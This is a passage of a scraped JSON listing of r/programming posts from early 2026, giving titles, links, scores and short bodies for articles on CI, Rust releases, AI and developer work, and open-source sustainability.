    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rq3al4",
  "url": "https://blog.nix-ci.com/post/2026-03-09_ci-should-fail-on-your-machine-first",
  "permalink": "https://www.reddit.com/r/programming/comments/1rq3al4/ci_should_fail_on_your_machine_first/",
  "title": "CI should fail on your machine first",
  "body": null,
  "author": "NorfairKing2",
  "subreddit": "programming",
  "score": 360,
  "upvoteRatio": 0.91,
  "numComments": 149,
  "createdAt": "2026-03-10T17:27:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.nix-ci.com/post/2026-03-09_ci-should-fail-on-your-machine-first",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rq1kmb",
  "url": "https://blog.jim-nielsen.com/2025/sit-on-your-ass-web-dev/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rq1kmb/sit_on_your_ass_web_development/",
  "title": "Sit On Your Ass Web Development",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.65,
  "numComments": 4,
  "createdAt": "2026-03-10T16:26:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jim-nielsen.com/2025/sit-on-your-ass-web-dev/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rpv2dt",
  "url": "https://www.lucavall.in/blog/containers-are-not-a-security-boundary",
  "permalink": "https://www.reddit.com/r/programming/comments/1rpv2dt/containers_are_not_a_security_boundary/",
  "title": "Containers Are Not a Security Boundary",
  "body": null,
  "author": "lucavallin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 9,
  "createdAt": "2026-03-10T12:03:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.lucavall.in/blog/containers-are-not-a-security-boundary",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rocrn2",
  "url": "https://richwhitehouse.com/index.php?postid=77",
  "permalink": "https://www.reddit.com/r/programming/comments/1rocrn2/open_sores_an_essay_on_how_programmers_spent/",
  "title": "Open Sores - an essay on how programmers spent decades building a culture of open collaboration, and how they're being punished for it",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 1104,
  "upvoteRatio": 0.94,
  "numComments": 208,
  "createdAt": "2026-03-08T18:44:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://richwhitehouse.com/index.php?postid=77",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ro2w8v",
  "url": "https://www.phoronix.com/news/Chardet-LLM-Rewrite-Relicense",
  "permalink": "https://www.reddit.com/r/programming/comments/1ro2w8v/llmdriven_large_code_rewrites_with_relicensing/",
  "title": "LLM-driven large code rewrites with relicensing are the latest AI concern",
  "body": null,
  "author": "Fcking_Chuck",
  "subreddit": "programming",
  "score": 559,
  "upvoteRatio": 0.95,
  "numComments": 247,
  "createdAt": "2026-03-08T11:47:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/Chardet-LLM-Rewrite-Relicense",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rnj9kn",
  "url": "https://www.scientificamerican.com/article/why-developers-using-ai-are-working-longer-hours/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rnj9kn/why_developers_using_ai_are_working_longer_hours/",
  "title": "Why developers using AI are working longer hours",
  "body": "I find this interesting. The articles states that, \n\n*\"AI tools don’t automatically shorten the workday. In some workplaces, studies suggest, AI has intensified pressure to move faster than ever.\"*\n\n",
  "author": "Inner-Chemistry8971",
  "subreddit": "programming",
  "score": 1128,
  "upvoteRatio": 0.95,
  "numComments": 374,
  "createdAt": "2026-03-07T19:42:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.scientificamerican.com/article/why-developers-using-ai-are-working-longer-hours/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rnfy4f",
  "url": "https://cardog.app/blog/vin-decoder-javascript",
  "permalink": "https://www.reddit.com/r/programming/comments/1rnfy4f/how_to_decode_a_vin_in_javascript/",
  "title": "How to Decode a VIN in JavaScript",
  "body": null,
  "author": "Kitchen-Suit9362",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.61,
  "numComments": 2,
  "createdAt": "2026-03-07T17:34:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cardog.app/blog/vin-decoder-javascript",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rmft9w",
  "url": "https://ogirardot.writizzy.com/p/good-software-knows-when-to-stop",
  "permalink": "https://www.reddit.com/r/programming/comments/1rmft9w/good_software_knows_when_to_stop/",
  "title": "Good software knows when to stop",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 6,
  "createdAt": "2026-03-06T14:42:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ogirardot.writizzy.com/p/good-software-knows-when-to-stop",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rm73tk",
  "url": "https://antman-does-software.com/i-will-never-use-ai-to-code-or-write",
  "permalink": "https://www.reddit.com/r/programming/comments/1rm73tk/i_will_never_use_ai_to_code_or_write/",
  "title": "I Will Never Use AI to Code (or write)",
  "body": null,
  "author": "Anthony261",
  "subreddit": "programming",
  "score": 133,
  "upvoteRatio": 0.67,
  "numComments": 282,
  "createdAt": "2026-03-06T07:03:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://antman-does-software.com/i-will-never-use-ai-to-code-or-write",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rlx892",
  "url": "https://argos-ci.com/blog/heroku-to-aws-migration",
  "permalink": "https://www.reddit.com/r/programming/comments/1rlx892/migrating_a_300gb_postgresql_database_from_heroku/",
  "title": "Migrating a 300GB PostgreSQL database from Heroku to AWS with minimal downtime",
  "body": null,
  "author": "gregberge",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 11,
  "createdAt": "2026-03-05T23:20:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://argos-ci.com/blog/heroku-to-aws-migration",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rlvble",
  "url": "https://lui.ie/guides/semantic-search-fonts",
  "permalink": "https://www.reddit.com/r/programming/comments/1rlvble/using_vision_language_models_to_index_and_search/",
  "title": "Using Vision Language Models to Index and Search Fonts",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 0,
  "createdAt": "2026-03-05T22:06:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lui.ie/guides/semantic-search-fonts",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rltxbg",
  "url": "https://blog.rust-lang.org/2026/03/05/Rust-1.94.0/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rltxbg/announcing_rust_1940/",
  "title": "Announcing Rust 1.94.0",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 278,
  "upvoteRatio": 0.9,
  "numComments": 31,
  "createdAt": "2026-03-05T21:14:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.rust-lang.org/2026/03/05/Rust-1.94.0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rls8kp",
  "url": "https://causality.blog/essays/message-passing-is-shared-mutable-state/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rls8kp/message_passing_is_shared_mutable_state/",
  "title": "Message Passing Is Shared Mutable State",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.55,
  "numComments": 11,
  "createdAt": "2026-03-05T20:10:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://causality.blog/essays/message-passing-is-shared-mutable-state/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rlr3qa",
  "url": "https://www.youtube.com/watch?v=6Maoe-GMynM",
  "permalink": "https://www.reddit.com/r/programming/comments/1rlr3qa/how_filc_works/",
  "title": "How Fil-C Works",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.66,
  "numComments": 25,
  "createdAt": "2026-03-05T19:28:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=6Maoe-GMynM",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rlld1h",
  "url": "https://geocar.sdf1.org/fast-servers.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1rlld1h/fastservers/",
  "title": "fast-servers",
  "body": null,
  "author": "BrewedDoritos",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-03-05T16:01:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://geocar.sdf1.org/fast-servers.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rlgcs9",
  "url": "https://uphack.io/blog/post/the-illusion-of-building/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rlgcs9/the_illusion_of_building/",
  "title": "The Illusion of Building",
  "body": "I keep seeing posts like this going viral: \"I built a mobile app with no coding experience.\" \"I cloned Spotify in a weekend.\"\n\nBuilding an app and engineering a system are two different activities, but people keep confusing them. AI has made the first dramatically cheaper. It hasn't touched the second.\n\nI spent some time reflecting on what's actually happening here. What \"building software\" means, what it doesn't, and why everyone is asking the wrong question.",
  "author": "No_Zookeepergame7552",
  "subreddit": "programming",
  "score": 264,
  "upvoteRatio": 0.93,
  "numComments": 81,
  "createdAt": "2026-03-05T12:28:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://uphack.io/blog/post/the-illusion-of-building/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rldzvl",
  "url": "https://encore.dev/blog/stop-writing-instrumentation-code",
  "permalink": "https://www.reddit.com/r/programming/comments/1rldzvl/you_shouldnt_have_to_write_instrumentation_code/",
  "title": "You shouldn't have to write instrumentation code",
  "body": null,
  "author": "GlitteringPenalty210",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 9,
  "createdAt": "2026-03-05T10:18:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encore.dev/blog/stop-writing-instrumentation-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rl26xw",
  "url": "https://mas.to/@gabrielesvelto/116171750653898304",
  "permalink": "https://www.reddit.com/r/programming/comments/1rl26xw/10_of_firefox_crashes_are_estimated_to_be_caused/",
  "title": "10% of Firefox crashes are estimated to be caused by bitflips",
  "body": null,
  "author": "cdb_11",
  "subreddit": "programming",
  "score": 1107,
  "upvoteRatio": 0.96,
  "numComments": 255,
  "createdAt": "2026-03-05T00:06:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mas.to/@gabrielesvelto/116171750653898304",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rks8ru",
  "url": "https://ojs.aaai.org/aimagazine/index.php/aimagazine/article/download/508/444",
  "permalink": "https://www.reddit.com/r/programming/comments/1rks8ru/objectoriented_programming_themes_and_variations/",
  "title": "Object-Oriented Programming: Themes and Variations (pdf, 1985)",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2026-03-04T17:50:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ojs.aaai.org/aimagazine/index.php/aimagazine/article/download/508/444",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rjuue3",
  "url": "https://dashbit.co/blog/type-systems-are-leaky-abstractions-map-take",
  "permalink": "https://www.reddit.com/r/programming/comments/1rjuue3/type_systems_are_leaky_abstractions_the_case_of/",
  "title": "Type systems are leaky abstractions: the case of Map.take!/2",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 6,
  "createdAt": "2026-03-03T17:04:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dashbit.co/blog/type-systems-are-leaky-abstractions-map-take",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rjo0w2",
  "url": "https://terriblesoftware.org/2026/03/03/nobody-gets-promoted-for-simplicity/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rjo0w2/nobody_gets_promoted_for_simplicity/",
  "title": "Nobody Gets Promoted for Simplicity",
  "body": null,
  "author": "Acceptable-Courage-9",
  "subreddit": "programming",
  "score": 614,
  "upvoteRatio": 0.95,
  "numComments": 165,
  "createdAt": "2026-03-03T12:28:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://terriblesoftware.org/2026/03/03/nobody-gets-promoted-for-simplicity/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rjb2io",
  "url": "https://bmarti44.substack.com/p/i-put-a-full-jvm-inside-a-browser",
  "permalink": "https://www.reddit.com/r/programming/comments/1rjb2io/i_put_a_full_jvm_inside_a_browser_tab_it_works/",
  "title": "I Put a Full JVM Inside a Browser Tab. It \"Works\". Technically. Eventually.",
  "body": "UPDATE: This post has really taken off... I have further updated the project so it's actually fast now, no more alpine linux and QEMU - straight up  OpenJDK compiled to WebAssembly. it's actually fast now. More to come.  \n  \nI built a project that runs Java in the browser with no server. It boots ~~Alpine Linux~~ \\+ OpenJDK 21 ~~inside~~ ~~QEMU~~ compiled to WebAssembly inside your browser tab. It takes about 55 seconds to print Hello World. A persistent JVM daemon called CompileServer survives the WASM snapshot restore so you don't have to wait 12+ minutes for javac to cold-start every time you compile. The whole thing is a 227MB WASM blob served from a Cloudflare Worker. It is not fast. But it works. Code is on GitHub and there's a live demo if you want to watch your browser sweat.",
  "author": "bmarti644",
  "subreddit": "programming",
  "score": 278,
  "upvoteRatio": 0.95,
  "numComments": 39,
  "createdAt": "2026-03-03T00:56:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bmarti44.substack.com/p/i-put-a-full-jvm-inside-a-browser",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rj2o7z",
  "url": "https://www.theregister.com/2026/02/28/open_source_opinion/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rj2o7z/open_source_package_repositories_face/",
  "title": "Open source package repositories face sustainability crisis",
  "body": null,
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 329,
  "upvoteRatio": 0.96,
  "numComments": 39,
  "createdAt": "2026-03-02T19:33:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2026/02/28/open_source_opinion/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1riu7ge",
  "url": "https://newsletter.signoz.io/p/ai-isnt-replacing-sres-its-deskilling",
  "permalink": "https://www.reddit.com/r/programming/comments/1riu7ge/ai_isnt_replacing_sres_its_deskilling_them/",
  "title": "AI Isn't Replacing SREs. It's Deskilling Them.",
  "body": "Edit: SRE = [Site Reliability Engineers](https://en.wikipedia.org/wiki/Site_reliability_engineering)  \n  \nA piece on how reliance on AI is actually deskilling SREs and how it is a vicious cycle, drawing on a 1983 research paper by Bainbridge on the industrial revolution.\n\nWhen AI handles 95% of your incident response, do you get worse at handling the 5% that actually matters?",
  "author": "elizObserves",
  "subreddit": "programming",
  "score": 886,
  "upvoteRatio": 0.91,
  "numComments": 165,
  "createdAt": "2026-03-02T14:25:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.signoz.io/p/ai-isnt-replacing-sres-its-deskilling",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1riq8ng",
  "url": "https://builders.perk.com/gleam-is-boring-so-i-went-to-a-conference-about-it-8f08a52c3de3",
  "permalink": "https://www.reddit.com/r/programming/comments/1riq8ng/gleam_is_boring_so_i_went_to_a_conference_about_it/",
  "title": "Gleam is boring, so I went to a conference about it",
  "body": null,
  "author": "TheGUnit",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 1,
  "createdAt": "2026-03-02T11:21:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://builders.perk.com/gleam-is-boring-so-i-went-to-a-conference-about-it-8f08a52c3de3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ri7jpj",
  "url": "https://health.aws.amazon.com/health/status",
  "permalink": "https://www.reddit.com/r/programming/comments/1ri7jpj/aws_middle_east_central_mec1az2_down_apparently/",
  "title": "AWS Middle East Central (mec1-az2) down, apparently struck in war",
  "body": null,
  "author": "iamapizza",
  "subreddit": "programming",
  "score": 2167,
  "upvoteRatio": 0.98,
  "numComments": 283,
  "createdAt": "2026-03-01T20:07:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://health.aws.amazon.com/health/status",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ri3kdv",
  "url": "https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ri3kdv/mcp_is_dead_long_live_the_cli/",
  "title": "MCP is dead. Long live the CLI",
  "body": null,
  "author": "ejholmes",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 24,
  "createdAt": "2026-03-01T17:41:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rhyv48",
  "url": "https://honnibal.dev/blog/clownpocalypse",
  "permalink": "https://www.reddit.com/r/programming/comments/1rhyv48/the_looming_ai_clownpocalypse/",
  "title": "The looming AI clownpocalypse",
  "body": null,
  "author": "syllogism_",
  "subreddit": "programming",
  "score": 427,
  "upvoteRatio": 0.89,
  "numComments": 175,
  "createdAt": "2026-03-01T14:38:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://honnibal.dev/blog/clownpocalypse",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rh9bnw",
  "url": "https://htmx.org/essays/yes-and/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rh9bnw/yes_and/",
  "title": "Yes, and...",
  "body": "A great & reasonable essay on why computer programming is still a great field to get into, even today; at the same time, not denying that it will most likely change a bit as well.",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 233,
  "upvoteRatio": 0.85,
  "numComments": 87,
  "createdAt": "2026-02-28T18:01:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://htmx.org/essays/yes-and/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rgg1wr",
  "url": "https://www.seangoedecke.com/a-little-bit-cynical/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rgg1wr/software_engineers_should_be_a_little_bit_cynical/",
  "title": "Software engineers should be a little bit cynical",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 504,
  "upvoteRatio": 0.87,
  "numComments": 92,
  "createdAt": "2026-02-27T19:17:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.seangoedecke.com/a-little-bit-cynical/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rgartl",
  "url": "https://github.com/golang/go/issues/77273#issuecomment-3962618141",
  "permalink": "https://www.reddit.com/r/programming/comments/1rgartl/the_proposal_for_generic_methods_for_go_has_been/",
  "title": "The proposal for generic methods for Go has been officially accepted",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 446,
  "upvoteRatio": 0.96,
  "numComments": 200,
  "createdAt": "2026-02-27T16:07:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/golang/go/issues/77273#issuecomment-3962618141",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rg8f3w",
  "url": "https://pvs-studio.com/en/blog/posts/1348/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rg8f3w/brave_new_c/",
  "title": "Brave new C#",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.64,
  "numComments": 20,
  "createdAt": "2026-02-27T14:39:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pvs-studio.com/en/blog/posts/1348/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rg4li5",
  "url": "https://clawhosters.com/blog/posts/building-managed-hosting-platform-tech-deep-dive",
  "permalink": "https://www.reddit.com/r/programming/comments/1rg4li5/docker_traefik_and_sse_streaming_a_postmortem_on/",
  "title": "Docker, Traefik, and SSE streaming: A post-mortem on building a managed hosting platform",
  "body": "I built a managed hosting platform in two weeks while working a full-time job.\n\nClawHosters now has 50 paying customers and 25 trials. All from Reddit posts. Zero marketing spend.\n\nThis post covers everything that went wrong:\n\n• Docker symlinks breaking updates\n\n• SSE streaming through Traefik (way harder than expected)\n\n• Why containers hit memory limits constantly\n\n• The 2 AM Telegram alerts when customer instances crash\n\nRails 8, PostgreSQL, Sidekiq, Hetzner Cloud API. No Kubernetes. One server.\n\nIf you're thinking about building infrastructure products, this might save you some pain.",
  "author": "yixn_io",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.61,
  "numComments": 20,
  "createdAt": "2026-02-27T11:49:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://clawhosters.com/blog/posts/building-managed-hosting-platform-tech-deep-dive",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rg3g5o",
  "url": "https://www.youtube.com/watch?v=6aIpaUKE37I",
  "permalink": "https://www.reddit.com/r/programming/comments/1rg3g5o/odin_intro_1_2_data_types_brian_will/",
  "title": "Odin Intro (1 / 2) - Data Types - Brian Will",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.57,
  "numComments": 1,
  "createdAt": "2026-02-27T10:46:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=6aIpaUKE37I",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rg2zo4",
  "url": "https://lea.verou.me/blog/2026/web-deps/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rg2zo4/web_dependencies_are_broken_can_we_fix_them/",
  "title": "Web dependencies are broken. Can we fix them?",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.58,
  "numComments": 16,
  "createdAt": "2026-02-27T10:19:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lea.verou.me/blog/2026/web-deps/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rfr1jg",
  "url": "https://trufflesecurity.com/blog/google-api-keys-werent-secrets-but-then-gemini-changed-the-rules",
  "permalink": "https://www.reddit.com/r/programming/comments/1rfr1jg/google_api_keys_werent_secrets_but_then_gemini/",
  "title": "Google API Keys Weren't Secrets. But then Gemini Changed the Rules.",
  "body": null,
  "author": "Chaoticblue3",
  "subreddit": "programming",
  "score": 385,
  "upvoteRatio": 0.96,
  "numComments": 19,
  "createdAt": "2026-02-27T00:04:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://trufflesecurity.com/blog/google-api-keys-werent-secrets-but-then-gemini-changed-the-rules",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1rfq42k",
  "url": "https://thecloudlet.github.io/blog/project/emacs-01/",
  "permalink": "https://www.reddit.com/r/programming/comments/1rfq42k/emacs_is_a_lisp_runtime_in_c_not_an_editor/",
  "title": "Emacs Is a Lisp Runtime in C, Not an Editor",
